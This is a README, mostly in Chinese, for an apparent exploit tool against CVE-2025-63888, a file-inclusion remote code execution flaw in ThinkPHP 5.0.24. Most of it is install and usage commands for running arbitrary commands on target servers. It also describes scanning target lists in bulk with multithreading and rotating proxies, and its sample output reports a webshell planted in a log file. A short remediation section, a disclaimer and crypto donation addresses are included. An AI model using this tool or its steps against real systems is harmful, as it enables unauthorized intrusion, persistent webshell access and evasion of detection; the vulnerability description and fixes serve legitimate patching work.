
Security research tool for detecting and testing CVE-2025-63888 (ThinkPHP 5.0.24 File Inclusion RCE vulnerability)
一个用于检测和测试 ThinkPHP 5.0.24 中 CVE-2025-63888 漏洞的安全研究工具,该漏洞允许通过文件包含攻击实现远程代码执行。
此工具仅用于授权的安全测试和教育目的。未经授权访问计算机系统是违法的。请仅在您拥有所有权或已获得明确书面许可的系统上使用此工具。
CVE-2025-63888 是 ThinkPHP 5.0.24 中的一个严重远程代码执行漏洞。该漏洞存在于 thinkphp/library/think/template/driver/File.php 文件的 read 函数中,攻击者可通过操控 view() 函数中的模板路径,利用文件包含攻击执行任意代码。
CVSS 评分: 9.8(严重)
受影响版本: ThinkPHP 5.0.24(精确版本)
漏洞文件: thinkphp/library/think/template/driver/File.php
漏洞函数: read() 方法
# 克隆仓库
git clone https://github.com/AN5I/cve-2025-63888-exploit.git
cd cve-2025-63888-exploit
# 安装依赖
pip install -r requirements.txt
# 使脚本可执行(可选)
chmod +x cve_2025_63888_exploit.py
# 下载脚本
wget https://raw.githubusercontent.com/AN5I/cve-2025-63888-exploit/main/cve_2025_63888_exploit.py
# 安装依赖
pip install requests
# 单个目标
python3 cve_2025_63888_exploit.py -u http://target.com
# 执行自定义命令
python3 cve_2025_63888_exploit.py -u http://target.com -c "whoami"
# 从文件读取多个目标
python3 cve_2025_63888_exploit.py -f targets.txt -o results.json
# 使用多线程加速扫描
python3 cve_2025_63888_exploit.py -u http://target.com -t 5
# 调试时输出详细信息
python3 cve_2025_63888_exploit.py -u http://target.com -v
# 单个代理
python3 cve_2025_63888_exploit.py -u http://target.com --proxy http://proxy:port
# 从文件读取多个代理
python3 cve_2025_63888_exploit.py -f targets.txt --proxy-list proxies.txt
-u, --url 目标 URL
-f, --file 包含目标 URL 的文件(每行一个)
-c, --command 要执行的命令(默认:id)
-t, --threads 线程数(默认:1)
-o, --output 输出文件(默认:uknf_results.json)
-v, --verbose 启用详细日志
--proxy 代理 URL(例如 http://127.0.0.1:8080)
--proxy-list 包含代理 URL 的文件(每行一个)
脚本会生成一个包含详细结果的 JSON 文件:
{
"target": "http://target.com",
"timestamp": "2025-11-20T15:05:35.763409",
"vulnerable": true,
"endpoint_found": true,
"exploitation_successful": true,
"command_executed": "id",
"output": "uid=1000(user) gid=1000(user)...",
"vulnerable_endpoint": "/index.php/index/index/view",
"webshell_created": true,
"webshell_path": "../../../runtime/log/2025/11/18.log"
}
view() 函数查找易受攻击的端点如果您正在使用 ThinkPHP 5.0.24:
立即升级:
实施路径验证:
view() 函数中添加严格的路径验证../、..)代码级修复:
realpath() 确保文件位于允许的目录内python3 cve_2025_63888_exploit.py -u https://example.com
# 创建目标文件
echo "https://target1.com" > targets.txt
echo "https://target2.com" >> targets.txt
# 运行扫描
python3 cve_2025_63888_exploit.py -f targets.txt -o results.json
python3 cve_2025_63888_exploit.py -u https://example.com -c "uname -a"
# 单个代理
python3 cve_2025_63888_exploit.py -u https://example.com --proxy http://127.0.0.1:8080
# 从文件读取多个代理
echo "http://proxy1:8080" > proxies.txt
echo "http://proxy2:8080" >> proxies.txt
python3 cve_2025_63888_exploit.py -f targets.txt --proxy-list proxies.txt
欢迎贡献!请随时提交 Pull Request。
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)如果您遇到任何问题或有建议,请在 GitHub 上提交 issue。
本项目采用 MIT 许可证授权 - 详见 LICENSE 文件。
如果您觉得这个工具有用,请考虑在 GitHub 上给它一个 star!
此工具仅供教育和授权安全测试之用。作者对因使用本程序造成的任何滥用或损害概不负责。用户有责任在测试任何系统之前确保已获得适当授权。
如果您觉得这个工具有用并希望支持该项目:
比特币(BTC):
bc1qj95y35w8r2mw0u28zrm3dmxtzjkq258xdv8tzv
以太坊(ETH):
0x3DC302a3f35F6cD1A03FF4982EcE0dE8fE1cEba7
感谢您的支持!🙏